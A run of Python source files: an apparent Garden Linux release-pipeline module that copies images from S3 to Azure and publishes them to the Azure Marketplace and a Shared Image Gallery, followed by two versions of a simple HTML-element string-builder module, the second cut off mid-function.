_create_shared_image( cclient=cclient, shared_gallery_cfg=shared_gallery_cfg, resource_group_name=shared_gallery_cfg.resource_group_name, location=shared_gallery_cfg.location, gallery_name=shared_gallery_cfg.gallery_name, image_name=shared_gallery_cfg.published_name, image_version=published_version, source_id=result.id ) print(f'Image shared: {shared_img.id=}, {shared_img.name=}, {shared_img.type=}') # create manifest and return this as result: published_image = glci.model.AzurePublishedImage( transport_state=glci.model.AzureTransportState.RELEASED, publish_operation_id='', golive_operation_id='', urn=shared_img.id, ) return dataclasses.replace(release, published_image_metadata=published_image)
import dataclasses from datetime import ( datetime, timedelta, ) from enum import Enum import logging import typing import requests from glci import util import version from msal import ConfidentialClientApplication from azure.storage.blob import ( BlobClient, BlobType, ContainerSasPermissions, generate_container_sas, ) import glci.model import version as version_util # For Shared Image Gallery: from azure.identity import ClientSecretCredential from azure.mgmt.compute import ComputeManagementClient from azure.mgmt.storage import StorageManagementClient from azure.mgmt.compute.models import ( TargetRegion, OperatingSystemTypes, OperatingSystemStateTypes, HyperVGeneration, GalleryImage, GalleryImageIdentifier, GalleryImageVersion, GalleryImageVersionPublishingProfile, GalleryImageVersionStorageProfile, GalleryArtifactVersionSource, StorageAccountType ) from azure.core.exceptions import ( ResourceExistsError, ResourceNotFoundError, ) logger = logging.getLogger(__name__) # disable verbose http-logging from azure-sdk logging.getLogger('azure.core.pipeline.policies.http_logging_policy').setLevel(logging.WARNING) ''' The publishing process for an image to the Azure Marketplace consist of two sequences of steps. 1. publishing steps - this include the upload of the image to an Azure StorageAccount, the update of the gardenlinux Marketplace spec, the trigger of the publish operation which will trigger the validation of the image on the Microsoft side and upload the image into their staging enviroment. Those steps are covered by the "upload_and_publish_image" function. 2. check and approve steps – first the progress of the triggered publish operation will be checked. If the publish operation has been completed the go live operation will be triggered automatically. After that it will check for the progress of the go live operation and if this also has been completed it will return the urn of the image. Those steps are covered by the "check_offer_transport_state" function. It need to be called multiple times until the entire process has been completed. ''' class AzureImageStore: '''Azure Image Store backed by an container in an Azure Storage Account.''' def __init__( self, storage_account_name: str, storage_account_key: str, container_name: str ): self.sa_name = storage_account_name self.sa_key = storage_account_key self.container_name = container_name def copy_from_s3( self, s3_client, s3_bucket_name: str, s3_object_key: str, target_blob_name: str ): '''Copy an object from Amazon S3 to an Azure Storage Account This will overwrite the contents of the target file if it already exists. ''' connection_string = ( f"DefaultEndpointsProtocol=https;" f"AccountName={self.sa_name};" f"AccountKey={self.sa_key};" "EndpointSuffix=core.windows.net" ) image_blob = BlobClient.from_connection_string( conn_str=connection_string, container_name=self.container_name, blob_name=target_blob_name, blob_type=BlobType.PageBlob, ) file_size_response = s3_client.head_object(Bucket=s3_bucket_name, Key=s3_object_key) file_size = file_size_response['ContentLength'] url = s3_client.generate_presigned_url( 'get_object', Params={'Bucket': s3_bucket_name, 'Key': s3_object_key}, ) image_blob.create_page_blob(file_size) # max size we can copy in one go is 4 mebibytes. Split the upload in steps with max size of # 4 MiB copy_step_length = 4 * 1024 * 1024 offset = 0 while offset < file_size: remaining = file_size - offset actual_cp_bytes = min(copy_step_length, remaining) image_blob.upload_pages_from_url( source_url=url, offset=offset, length=actual_cp_bytes, source_offset=offset, ) offset += actual_cp_bytes def get_image_url(self, image_name: str, with_sas_token: bool): '''Generate an url optionally including sas token to access image in the store.''' result_url = f'https://{self.sa_name}.blob.core.windows.net/{self.container_name}/{image_name}' if with_sas_token: container_sas = generate_container_sas( account_name=self.sa_name, account_key=self.sa_key, container_name=self.container_name, permission=ContainerSasPermissions(read=True, list=True), start=datetime.utcnow() - timedelta(days=1), expiry=datetime.utcnow() + timedelta(days=30) ) return f'{result_url}?{container_sas}' else: return result_url class AzmpOperationState(Enum): NOTSTARETD = "notStarted" RUNNING = "running" COMPLETED = "completed" SUCCEEDED = "succeeded" FAILED = "failed" class AzmpTransportDest(Enum): STAGING = "staging" PROD = "production" class AzureMarketplaceClient: '''Azure Marketplace Client is a client to interact with the Azure Marketplace.''' marketplace_baseurl = "https://cloudpartner.azure.com/api/publishers" def __init__(self, spn_tenant_id: str, spn_client_id: str, spn_client_secret: str): app_client = ConfidentialClientApplication( client_id=spn_client_id, authority=f"https://login.microsoftonline.com/{spn_tenant_id}", client_credential=spn_client_secret ) token = app_client.acquire_token_for_client(scopes="https://cloudpartner.azure.com/.default") if 'error' in token: raise RuntimeError("Could not fetch token for Azure Marketplace client", token['error_description']) self.token = token['access_token'] def _request(self, url: str, method='GET', headers={}, params={}, **kwargs): if 'Authorization' not in headers: headers['Authorization'] = f"Bearer {self.token}" if 'Content-Type' not in headers: headers['Content-Type'] = "application/json" if 'api-version' not in params: params['api-version'] = '2017-10-31' return requests.request( method=method, url=url, headers=headers, params=params, **kwargs ) def _api_url(self, *parts): return '/'.join(p for p in (self.marketplace_baseurl, *parts)) def _raise_for_status(self, response, message=""): if response.ok: return if message: raise RuntimeError(f"{message}. statuscode={response.status_code}") raise RuntimeError(f"HTTP call to {response.url} failed. statuscode={response.status_code}") def fetch_offer(self, publisher_id: str, offer_id: str): '''Fetch an offer from Azure marketplace.''' response = self._request(url=self._api_url(publisher_id, "offers", offer_id)) self._raise_for_status( response=response, message='Fetching of Azure marketplace offer for gardenlinux failed', ) offer_spec = response.json() return offer_spec def update_offer(self, publisher_id: str, offer_id: str, spec: dict): '''Update an offer with a give spec.''' response = self._request( url=self._api_url(publisher_id, "offers", offer_id), method='PUT', headers={"If-Match": "*"}, json=spec, ) self._raise_for_status( response=response, message='Update of Azure marketplace offer for gardenlinux failed', ) def publish_offer(self, publisher_id: str, offer_id: str, notification_mails=()): '''Trigger (re-)publishing of an offer.''' data = { "metadata": { "notification-emails": ",".join(notification_mails) } } res = self._request( method='POST', url=self._api_url(publisher_id, 'offers', offer_id, 'publish'), json=data, ) self._raise_for_status( response=res, message=f'{res=} {res.status_code=} {res.reason=} {res.content=}' ) def fetch_ongoing_operation_id(self, publisher_id: str, offer_id: str, transport_dest: AzmpTransportDest): '''Fetches the id of an ongoing Azure Marketplace transport operation to a certain transport destination.''' response = self._request(url=self._api_url(publisher_id, "offers", offer_id, "submissions")) self._raise_for_status( response=response, message="Could not fetch Azure Marketplace transport operations for gardenlinux offer", ) operations = response.json() for operation in operations: if AzmpTransportDest(operation["slot"]) == transport_dest and AzmpOperationState(operation["submissionState"]) == AzmpOperationState.RUNNING: return operation["id"] raise RuntimeError( 'Did not find an ongoing transport operation to ship gardenliunx offer on the Azure Marketplace.' ) def fetch_operation_state(self, publisher_id: str, offer_id: str, operation_id: str): '''Fetches the state of a given Azure Marketplace transport operation.''' response = self._request(url=self._api_url(publisher_id, "offers", offer_id, "operations", operation_id)) self._raise_for_status( response=response, message=f"Can't fetch state for transport operation {operation_id}", ) operation = response.json() return AzmpOperationState(operation['status']) def go_live(self, publisher_id: str, offer_id: str): '''Trigger a go live operation to transport an Azure Marketplace offer to production.''' response = self._request( method='POST', url=self._api_url(publisher_id, "offers", offer_id, "golive"), ) self._raise_for_status( response=response, message="Go live of updated gardenlinux Azure Marketplace offer failed", ) def _find_plan_spec(offer_spec :dict, plan_id: str): plan_spec = {} for plan in offer_spec["definition"]["plans"]: if plan["planId"] == plan_id: plan_spec = plan break else: raise RuntimeError(f"Plan {plan_id} not found in offer {plan_spec['id']}.") return plan_spec def add_image_version_to_plan( spec: dict, plan_id: str, image_version: str, image_url: str ): ''' Add a new image version to a given plan and return a modified offer spec. The offer spec needs to be fetched upfront from the Azure Marketplace. The modified offer spec needs to be pushed to the Azure Marketplace. ''' plan_spec = _find_plan_spec(spec, plan_id) plan_spec["microsoft-azure-virtualmachines.vmImages"][image_version] = { "osVhdUrl": image_url, "lunVhdDetails": [] } return spec def remove_image_version_from_plan(spec: dict, plan_id: str, image_version: str, image_url: str): ''' Remove an image version from a given plan and return a modified offer spec. The offer spec needs to be fetched upfront from the Azure Marketplace. The modified offer spec needs to be pushed to the Azure Marketplace. ''' plan_spec = _find_plan_spec(spec, plan_id) del plan_spec["microsoft-azure-virtualmachines.vmImages"][image_version] return spec def generate_urn(marketplace_cfg: glci.model.AzureMarketplaceCfg, image_version: str): return f"{marketplace_cfg.publisher_id}:{marketplace_cfg.offer_id}:{marketplace_cfg.plan_id}:{image_version}" def copy_image_from_s3_to_az_storage_account( storage_account_cfg: glci.model.AzureStorageAccountCfg, s3_bucket_name: str, s3_object_key: str, target_blob_name: str, s3_client, with_sas_token: bool, ): ''' copy object from s3 to storage account and return the generated access url including SAS token for the blob ''' if not target_blob_name.endswith('.vhd'): logger.warning( f"Destination image name '{target_blob_name}' does not end with '.vhd'! Resulting blob will " "not be suitable to create a marketplace offer from it!" ) store = AzureImageStore( storage_account_name=storage_account_cfg.storage_account_name, storage_account_key=storage_account_cfg.access_key, container_name=storage_account_cfg.container_name, ) store.copy_from_s3( s3_client=s3_client, s3_bucket_name=s3_bucket_name, s3_object_key=s3_object_key, target_blob_name=target_blob_name, ) return store.get_image_url(target_blob_name, with_sas_token=with_sas_token) def update_and_publish_marketplace_offer( service_principal_cfg: glci.model.AzureServicePrincipalCfg, marketplace_cfg: glci.model.AzureMarketplaceCfg, image_version: str, image_url: str, notification_recipients=(), ): marketplace_client = AzureMarketplaceClient( spn_tenant_id=service_principal_cfg.tenant_id, spn_client_id=service_principal_cfg.client_id, spn_client_secret=service_principal_cfg.client_secret, ) publisher_id = marketplace_cfg.publisher_id offer_id = marketplace_cfg.offer_id plan_id = marketplace_cfg.plan_id offer_spec = marketplace_client.fetch_offer( publisher_id=publisher_id, offer_id=offer_id, ) # Add new image version to plan in the offer spec. modified_offer_spec = add_image_version_to_plan( spec=offer_spec, plan_id=plan_id, image_version=image_version, image_url=image_url, ) # Update the marketplace offer. marketplace_client.update_offer( publisher_id=publisher_id, offer_id=offer_id, spec=modified_offer_spec, ) marketplace_client.publish_offer( publisher_id=publisher_id, offer_id=offer_id, notification_mails=notification_recipients, ) publish_operation_id = marketplace_client.fetch_ongoing_operation_id( publisher_id=publisher_id, offer_id=offer_id, transport_dest=AzmpTransportDest.STAGING, ) return publish_operation_id def check_offer_transport_state( service_principal_cfg: glci.model.AzureServicePrincipalCfg, marketplace_cfg: glci.model.AzureMarketplaceCfg, release: glci.model.OnlineReleaseManifest, ) -> glci.model.OnlineReleaseManifest: '''Checks the state of the gardenlinux Azure Marketplace offer transport In case the transport to staging enviroment has been succeeded then the transport to production (go live) will be automatically triggered. ''' transport_state = release.published_image_metadata.transport_state if transport_state is glci.model.AzureTransportState.RELEASED: return release marketplace_client = AzureMarketplaceClient( spn_tenant_id=service_principal_cfg.tenant_id, spn_client_id=service_principal_cfg.client_id, spn_client_secret=service_principal_cfg.client_secret, ) publisher_id = marketplace_cfg.publisher_id offer_id = marketplace_cfg.offer_id operation_status = marketplace_client.fetch_operation_state( publisher_id=publisher_id, offer_id=offer_id, operation_id=release.published_image_metadata.publish_operation_id, ) # Check first if the process has been failed. if operation_status is AzmpOperationState.FAILED: published_image = glci.model.AzurePublishedImage( transport_state=glci.model.AzureTransportState.FAILED, publish_operation_id=release.published_image_metadata.publish_operation_id, golive_operation_id='', urn='', ) if release.published_image_metadata.transport_state is glci.model.AzureTransportState.GO_LIVE: published_image.golive_operation_id = release.published_image_metadata.golive_operation_id return dataclasses.replace(release, published_image_metadata=published_image) # Publish completed. Trigger go live to transport the offer changes to production. if ( transport_state is glci.model.AzureTransportState.PUBLISH and operation_status is AzmpOperationState.SUCCEEDED ): logger.info('Publishing of gardenlinux offer to staging succeeded. Trigger go live...') marketplace_client.go_live(publisher_id=publisher_id, offer_id=offer_id) golive_operation_id = marketplace_client.fetch_ongoing_operation_id( publisher_id, offer_id, AzmpTransportDest.PROD, ) published_image = glci.model.AzurePublishedImage( transport_state=glci.model.AzureTransportState.GO_LIVE, publish_operation_id=release.published_image_metadata.publish_operation_id, golive_operation_id=golive_operation_id, urn='', ) return dataclasses.replace(release, published_image_metadata=published_image) # Go Live completed. Done! if ( transport_state is glci.model.AzureTransportState.GO_LIVE and operation_status is AzmpOperationState.SUCCEEDED ): logger.info('Tranport to production of gardenlinux offer succeeded.') published_image = glci.model.AzurePublishedImage( transport_state=glci.model.AzureTransportState.RELEASED, publish_operation_id=release.published_image_metadata.publish_operation_id, golive_operation_id=release.published_image_metadata.golive_operation_id, urn=generate_urn(marketplace_cfg, release.version), ) return dataclasses.replace(release, published_image_metadata=published_image) logger.info(f"Gardenlinux Azure Marketplace release op {transport_state} is still ongoing...") return release def _get_target_blob_name(version: str): return f"gardenlinux-az-{version}.vhd" def upload_and_publish_image( s3_client, service_principal_cfg: glci.model.AzureServicePrincipalCfg, storage_account_cfg: glci.model.AzureStorageAccountCfg, marketplace_cfg: glci.model.AzureMarketplaceCfg, release: glci.model.OnlineReleaseManifest, notification_emails: typing.Tuple[str, ...], ) -> glci.model.OnlineReleaseManifest: '''Copies an image from S3 to an Azure Storage Account, updates the corresponding Azure Marketplace offering and publish the offering. ''' azure_release_artifact = util.virtual_image_artifact_for_platform('azure') azure_release_artifact_path = release.path_by_suffix(azure_release_artifact) # Copy image from s3 to Azure Storage Account target_blob_name = _get_target_blob_name(release.version) image_url = copy_image_from_s3_to_az_storage_account( storage_account_cfg=storage_account_cfg, s3_client=s3_client, s3_bucket_name=azure_release_artifact_path.s3_bucket_name, s3_object_key=azure_release_artifact_path.s3_key, target_blob_name=target_blob_name, with_sas_token=True, ) # version _must_ (of course..) be strict semver for azure azure_version = str(version.parse_to_semver(release.version)) # Update Marketplace offer and start publishing. publish_operation_id = update_and_publish_marketplace_offer( service_principal_cfg=service_principal_cfg, marketplace_cfg=marketplace_cfg, image_version=azure_version, image_url=image_url, notification_recipients=notification_emails, ) # use anticipated URN for now parsed_version = version_util.parse_to_semver(release.version) published_image = glci.model.AzurePublishedImage( transport_state=glci.model.AzureTransportState.PUBLISH, publish_operation_id=publish_operation_id, golive_operation_id='', urn=generate_urn(marketplace_cfg, parsed_version), ) return dataclasses.replace(release, published_image_metadata=published_image) def _create_shared_image( cclient, shared_gallery_cfg: glci.model.AzureSharedGalleryCfg, resource_group_name: str, location: str, gallery_name: str, image_name: str, image_version: str, source_id: str ): print('Create Gallery image.') result = cclient.gallery_images.begin_create_or_update( resource_group_name=resource_group_name, gallery_name=gallery_name, gallery_image_name=image_name, gallery_image=GalleryImage( location=location, description=shared_gallery_cfg.description, eula=shared_gallery_cfg.eula, release_note_uri=shared_gallery_cfg.release_note_uri, os_type=OperatingSystemTypes.LINUX, os_state=OperatingSystemStateTypes.GENERALIZED, hyper_v_generation=HyperVGeneration.V1, identifier=GalleryImageIdentifier( publisher=shared_gallery_cfg.identifier_publisher, offer=shared_gallery_cfg.identifier_offer, sku=shared_gallery_cfg.identifier_sku, ) ) ) print('...waiting for asynchronous operation to complete') result = result.result() print(f'Create Gallery image version {image_version=}') result = cclient.gallery_image_versions.begin_create_or_update( resource_group_name=resource_group_name, gallery_name=gallery_name, gallery_image_name=image_name, gallery_image_version_name=image_version, gallery_image_version=GalleryImageVersion( location=location, tags={'component':'gardenlinux'}, publishing_profile=GalleryImageVersionPublishingProfile( target_regions=[ TargetRegion( name=shared_gallery_cfg.location, storage_account_type=StorageAccountType.STANDARD_LRS, regional_replica_count=1 ), ], replica_count=1, exclude_from_latest=False, # end_of_life_date=datetime.now() + timedelta(days=180), storage_account_type=StorageAccountType.STANDARD_LRS, ), storage_profile=GalleryImageVersionStorageProfile( source=GalleryArtifactVersionSource( id=source_id ) ) ) ) print('...waiting for asynchronous operation to complete') return result.result() def publish_azure_shared_image_gallery( s3_client, release: glci.model.OnlineReleaseManifest, service_principal_cfg: glci.model.AzureServicePrincipalCfg, storage_account_cfg: glci.model.AzureStorageAccountCfg, shared_gallery_cfg: glci.model.AzureSharedGalleryCfg, ) -> glci.model.OnlineReleaseManifest: credential = ClientSecretCredential( tenant_id=service_principal_cfg.tenant_id, client_id=service_principal_cfg.client_id, client_secret=service_principal_cfg.client_secret ) # Copy image from s3 to Azure Storage Account azure_release_artifact = glci.util.virtual_image_artifact_for_platform('azure') azure_release_artifact_path = release.path_by_suffix(azure_release_artifact) print(f'{service_principal_cfg.subscription_id=}') cclient = ComputeManagementClient(credential, service_principal_cfg.subscription_id) sclient = StorageManagementClient(credential, service_principal_cfg.subscription_id) print(f'using container name: {storage_account_cfg.container_name_sig=}') # prepare a blob container suitable for Shared Image Gallery try: sclient.blob_containers.create( resource_group_name=shared_gallery_cfg.resource_group_name, account_name=storage_account_cfg.storage_account_name, container_name=storage_account_cfg.container_name_sig, blob_container={ 'public_access': 'None' } ) except ResourceExistsError: print(f'Info: blob container {storage_account_cfg.container_name} already exists.') target_blob_name = _get_target_blob_name(release.version) print(f'Copying from S3 to Azure Storage Account blob: {target_blob_name=}') image_url = copy_image_from_s3_to_az_storage_account( storage_account_cfg=storage_account_cfg, s3_client=s3_client, s3_bucket_name=azure_release_artifact_path.s3_bucket_name, s3_object_key=azure_release_artifact_path.s3_key, target_blob_name=target_blob_name, with_sas_token=False, ) print(f'publish_azure_shared_image_gallery() copied from S3 to Azure Storage: {image_url=}') published_version = str(version.parse_to_semver(release.version)) published_name = target_blob_name print(f'Create image {published_name=}') # Note: cclient.images.begin_create_or_update() can update an existing resource. However not all # properties can be updated. Especially updating image_url fails with an error. # Therefore it is safer to first delete the image if it exists than create it try: img_def = cclient.images.get( resource_group_name=shared_gallery_cfg.resource_group_name, image_name=published_name, ) print(f'Found existing image {img_def.id=}, {img_def.name=}. Delete it first') result = cclient.images.begin_delete( resource_group_name=shared_gallery_cfg.resource_group_name, image_name=published_name, ) result = result.result() print(f'Image deleted {result=}, will re-create now.') except ResourceNotFoundError: print('Image does not exist will create it') result = cclient.images.begin_create_or_update( resource_group_name=shared_gallery_cfg.resource_group_name, image_name=published_name, parameters={ 'location': shared_gallery_cfg.location, 'hyper_v_generation': 'V1', 'storage_profile': { 'os_disk': { 'os_type': 'Linux', 'os_state': 'Generalized', 'blob_uri': image_url, 'caching': 'ReadWrite', } }, } ) print('... waiting for operation to complete') result = result.result() print(f'Image created: {result.id=}, {result.name=}, {result.type=}') shared_img = _create_shared_image( cclient=cclient, shared_gallery_cfg=shared_gallery_cfg, resource_group_name=shared_gallery_cfg.resource_group_name, location=shared_gallery_cfg.location, gallery_name=shared_gallery_cfg.gallery_name, image_name=shared_gallery_cfg.published_name, image_version=published_version, source_id=result.id ) print(f'Image shared: {shared_img.id=}, {shared_img.name=}, {shared_img.type=}') # create manifest and return this as result: published_image = glci.model.AzurePublishedImage( transport_state=glci.model.AzureTransportState.RELEASED, publish_operation_id='', golive_operation_id='', urn=shared_img.id, ) return dataclasses.replace(release, published_image_metadata=published_image)
""" Build string html elements. The name of the function coorilates with the name of the html element such that `element_name(text)`, where `text` is a string, returns the f-string `f"<element_name>{text}</element_name>"` EXCEPT FOR `<del></del>`, in which case the function is called `delete(text)`. """ def a(text, attr_str=""): return f'<a{'' if attr_str == '' else ' '}{attr_str}>{text}</a>' def abbr(text, attr_str=""): return f'<abbr{'' if attr_str == '' else ' '}{attr_str}>{text}</abbr>' def acronym(text, attr_str=""): return f'<acronym{'' if attr_str == '' else ' '}{attr_str}>{text}</acronym>' def address(text, attr_str=""): return f'<address{'' if attr_str == '' else ' '}{attr_str}>{text}</address>' def area(text, attr_str=""): return f'<area{'' if attr_str == '' else ' '}{attr_str}>{text}</area>' def b(text, attr_str=""): return f'<b{'' if attr_str == '' else ' '}{attr_str}>{text}</b>' def base(text, attr_str=""): return f'<base{'' if attr_str == '' else ' '}{attr_str}>{text}</base>' def bdo(text, attr_str=""): return f'<bdo{'' if attr_str == '' else ' '}{attr_str}>{text}</bdo>' def big(text, attr_str=""): return f'<big{'' if attr_str == '' else ' '}{attr_str}>{text}</big>' def blockquote(text, attr_str=""): return f'<blockquote{'' if attr_str == '' else ' '}{attr_str}>{text}</blockquote>' def body(text, attr_str=""): return f'<body{'' if attr_str == '' else ' '}{attr_str}>{text}</body>' def br(text, attr_str=""): return f'<br{'' if attr_str == '' else ' '}{attr_str}>{text}</br>' def button(text, attr_str=""): return f'<button{'' if attr_str == '' else ' '}{attr_str}>{text}</button>' def caption(text, attr_str=""): return f'<caption{'' if attr_str == '' else ' '}{attr_str}>{text}</caption>' def cite(text, attr_str=""): return f'<cite{'' if attr_str == '' else ' '}{attr_str}>{text}</cite>' def code(text, attr_str=""): return f'<code{'' if attr_str == '' else ' '}{attr_str}>{text}</code>' def col(text, attr_str=""): return f'<col{'' if attr_str == '' else ' '}{attr_str}>{text}</col>' def colgroup(text, attr_str=""): return f'<colgroup{'' if attr_str == '' else ' '}{attr_str}>{text}</colgroup>' def dd(text, attr_str=""): return f'<dd{'' if attr_str == '' else ' '}{attr_str}>{text}</dd>' def delete(text, attr_str=""): return f'<del{'' if attr_str == '' else ' '}{attr_str}>{text}</del>' def dfn(text, attr_str=""): return f'<dfn{'' if attr_str == '' else ' '}{attr_str}>{text}</dfn>' def div(text, attr_str=""): return f'<div{'' if attr_str == '' else ' '}{attr_str}>{text}</div>' def dl(text, attr_str=""): return f'<dl{'' if attr_str == '' else ' '}{attr_str}>{text}</dl>' def DOCTYPE(text, attr_str=""): return f'<DOCTYPE{'' if attr_str == '' else ' '}{attr_str}>{text}</DOCTYPE>' def dt(text, attr_str=""): return f'<dt{'' if attr_str == '' else ' '}{attr_str}>{text}</dt>' def em(text, attr_str=""): return f'<em{'' if attr_str == '' else ' '}{attr_str}>{text}</em>' def fieldset(text, attr_str=""): return f'<fieldset{'' if attr_str == '' else ' '}{attr_str}>{text}</fieldset>' def form(text, attr_str=""): return f'<form{'' if attr_str == '' else ' '}{attr_str}>{text}</form>' def h1(text, attr_str=""): return f'<h1{'' if attr_str == '' else ' '}{attr_str}>{text}</h1>' def h2(text, attr_str=""): return f'<h2{'' if attr_str == '' else ' '}{attr_str}>{text}</h2>' def h3(text, attr_str=""): return f'<h3{'' if attr_str == '' else ' '}{attr_str}>{text}</h3>' def h4(text, attr_str=""): return f'<h4{'' if attr_str == '' else ' '}{attr_str}>{text}</h4>' def h5(text, attr_str=""): return f'<h5{'' if attr_str == '' else ' '}{attr_str}>{text}</h5>' def h6(text, attr_str=""): return f'<h6{'' if attr_str == '' else ' '}{attr_str}>{text}</h6>' def head(text, attr_str=""): return f'<head{'' if attr_str == '' else ' '}{attr_str}>{text}</head>' def html(text, attr_str=""): return f'<html{'' if attr_str == '' else ' '}{attr_str}>{text}</html>' def hr(text, attr_str=""): return f'<hr{'' if attr_str == '' else ' '}{attr_str}>{text}</hr>' def i(text, attr_str=""): return f'<i{'' if attr_str == '' else ' '}{attr_str}>{text}</i>' def img(text, attr_str=""): return f'<img{'' if attr_str == '' else ' '}{attr_str}>{text}</img>' def input(text, attr_str=""): return f'<input{'' if attr_str == '' else ' '}{attr_str}>{text}</input>' def ins(text, attr_str=""): return f'<ins{'' if attr_str == '' else ' '}{attr_str}>{text}</ins>' def kbd(text, attr_str=""): return f'<kbd{'' if attr_str == '' else ' '}{attr_str}>{text}</kbd>' def label(text, attr_str=""): return f'<label{'' if attr_str == '' else ' '}{attr_str}>{text}</label>' def legend(text, attr_str=""): return f'<legend{'' if attr_str == '' else ' '}{attr_str}>{text}</legend>' def li(text, attr_str=""): return f'<li{'' if attr_str == '' else ' '}{attr_str}>{text}</li>' def link(text, attr_str=""): return f'<link{'' if attr_str == '' else ' '}{attr_str}>{text}</link>' def map(text, attr_str=""): return f'<map{'' if attr_str == '' else ' '}{attr_str}>{text}</map>' def meta(text, attr_str=""): return f'<meta{'' if attr_str == '' else ' '}{attr_str}>{text}</meta>' def noscript(text, attr_str=""): return f'<noscript{'' if attr_str == '' else ' '}{attr_str}>{text}</noscript>' def object(text, attr_str=""): return f'<object{'' if attr_str == '' else ' '}{attr_str}>{text}</object>' def ol(text, attr_str=""): return f'<ol{'' if attr_str == '' else ' '}{attr_str}>{text}</ol>' def optgroup(text, attr_str=""): return f'<optgroup{'' if attr_str == '' else ' '}{attr_str}>{text}</optgroup>' def option(text, attr_str=""): return f'<option{'' if attr_str == '' else ' '}{attr_str}>{text}</option>' def p(text, attr_str=""): return f'<p{'' if attr_str == '' else ' '}{attr_str}>{text}</p>' def param(text, attr_str=""): return f'<param{'' if attr_str == '' else ' '}{attr_str}>{text}</param>' def pre(text, attr_str=""): return f'<pre{'' if attr_str == '' else ' '}{attr_str}>{text}</pre>' def q(text, attr_str=""): return f'<q{'' if attr_str == '' else ' '}{attr_str}>{text}</q>' def samp(text, attr_str=""): return f'<samp{'' if attr_str == '' else ' '}{attr_str}>{text}</samp>' def script(text, attr_str=""): return f'<script{'' if attr_str == '' else ' '}{attr_str}>{text}</script>' def select(text, attr_str=""): return f'<select{'' if attr_str == '' else ' '}{attr_str}>{text}</select>' def small(text, attr_str=""): return f'<small{'' if attr_str == '' else ' '}{attr_str}>{text}</small>' def span(text, attr_str=""): return f'<span{'' if attr_str == '' else ' '}{attr_str}>{text}</span>' def strong(text, attr_str=""): return f'<strong{'' if attr_str == '' else ' '}{attr_str}>{text}</strong>' def style(text, attr_str=""): return f'<style{'' if attr_str == '' else ' '}{attr_str}>{text}</style>' def sub(text, attr_str=""): return f'<sub{'' if attr_str == '' else ' '}{attr_str}>{text}</sub>' def sup(text, attr_str=""): return f'<sup{'' if attr_str == '' else ' '}{attr_str}>{text}</sup>' def table(text, attr_str=""): return f'<table{'' if attr_str == '' else ' '}{attr_str}>{text}</table>' def tbody(text, attr_str=""): return f'<tbody{'' if attr_str == '' else ' '}{attr_str}>{text}</tbody>' def td(text, attr_str=""): return f'<td{'' if attr_str == '' else ' '}{attr_str}>{text}</td>' def textarea(text, attr_str=""): return f'<textarea{'' if attr_str == '' else ' '}{attr_str}>{text}</textarea>' def tfoot(text, attr_str=""): return f'<tfoot{'' if attr_str == '' else ' '}{attr_str}>{text}</tfoot>' def th(text, attr_str=""): return f'<th{'' if attr_str == '' else ' '}{attr_str}>{text}</th>' def thead(text, attr_str=""): return f'<thead{'' if attr_str == '' else ' '}{attr_str}>{text}</thead>' def title(text, attr_str=""): return f'<title{'' if attr_str == '' else ' '}{attr_str}>{text}</title>' def tr(text, attr_str=""): return f'<tr{'' if attr_str == '' else ' '}{attr_str}>{text}</tr>' def tt(text, attr_str=""): return f'<tt{'' if attr_str == '' else ' '}{attr_str}>{text}</tt>' def ul(text, attr_str=""): return f'<ul{'' if attr_str == '' else ' '}{attr_str}>{text}</ul>' def var(text, attr_str=""): return f'<var{'' if attr_str == '' else ' '}{attr_str}>{text}</var>'
""" Build string html elements. The name of the function coorilates with the name of the html element such that `element_name(text)`, where `text` is a string, returns the f-string `f"<element_name>{text}</element_name>"` EXCEPT FOR `<del></del>`, in which case the function is called `delete(text)`. """ def a(text, attr_str=""): return f'<a{"" if attr_str == "" else " "}{attr_str}>{text}</a>' def abbr(text, attr_str=""): return f'<abbr{"" if attr_str == "" else " "}{attr_str}>{text}</abbr>' def acronym(text, attr_str=""): return f'<acronym{"" if attr_str == "" else " "}{attr_str}>{text}</acronym>' def address(text, attr_str=""): return f'<address{"" if attr_str == "" else " "}{attr_str}>{text}</address>' def area(text, attr_str=""): return f'<area{"" if attr_str == "" else " "}{attr_str}>{text}</area>' def b(text, attr_str=""): return f'<b{"" if attr_str == "" else " "}{attr_str}>{text}</b>' def base(text, attr_str=""): return f'<base{"" if attr_str == "" else " "}{attr_str}>{text}</base>' def bdo(text, attr_str=""): return f'<bdo{"" if attr_str == "" else " "}{attr_str}>{text}</bdo>' def big(text, attr_str=""): return f'<big{"" if attr_str == "" else " "}{attr_str}>{text}</big>' def blockquote(text, attr_str=""): return f'<blockquote{"" if attr_str == "" else " "}{attr_str}>{text}</blockquote>' def body(text, attr_str=""): return f'<body{"" if attr_str == "" else " "}{attr_str}>{text}</body>' def br(text, attr_str=""): return f'<br{"" if attr_str == "" else " "}{attr_str}>{text}</br>' def button(text, attr_str=""): return f'<button{"" if attr_str == "" else " "}{attr_str}>{text}</button>' def caption(text, attr_str=""): return f'<caption{"" if attr_str == "" else " "}{attr_str}>{text}</caption>' def cite(text, attr_str=""): return f'<cite{"" if attr_str == "" else " "}{attr_str}>{text}</cite>' def code(text, attr_str=""): return f'<code{"" if attr_str == "" else " "}{attr_str}>{text}</code>' def col(text, attr_str=""): return f'<col{"" if attr_str == "" else " "}{attr_str}>{text}</col>' def colgroup(text, attr_str=""): return f'<colgroup{"" if attr_str == "" else " "}{attr_str}>{text}</colgroup>' def dd(text, attr_str=""): return f'<dd{"" if attr_str == "" else " "}{attr_str}>{text}</dd>' def delete(text, attr_str=""): return f'<del{"" if attr_str == "" else " "}{attr_str}>{text}</del>' def dfn(text, attr_str=""): return f'<dfn{"" if attr_str == "" else " "}{attr_str}>{text}</dfn>' def div(text, attr_str=""): return f'<div{"" if attr_str == "" else " "}{attr_str}>{text}</div>' def dl(text, attr_str=""): return f'<dl{"" if attr_str == "" else " "}{attr_str}>{text}</dl>' def DOCTYPE(text, attr_str=""): return f'<DOCTYPE{"" if attr_str == "" else " "}{attr_str}>{text}</DOCTYPE>' def dt(text, attr_str=""): return f'<dt{"" if attr_str == "" else " "}{attr_str}>{text}</dt>' def em(text, attr_str=""): return f'<em{"" if attr_str == "" else " "}{attr_str}>{text}</em>' def fieldset(text, attr_str=""): return f'<fieldset{"" if attr_str == "" else " "}{attr_str}>{text}</fieldset>' def form(text, attr_str=""): return f'<form{"" if attr_str == "" else " "}{attr_str}>{text}</form>' def h1(text, attr_str=""): return f'<h1{"" if attr_str == "" else " "}{attr_str}>{text}</h1>' def h2(text, attr_str=""): return f'<h2{"" if attr_str == "" else " "}{attr_str}>{text}</h2>' def h3(text, attr_str=""): return f'<h3{"" if attr_str == "" else " "}{attr_str}>{text}</h3>' def h4(text, 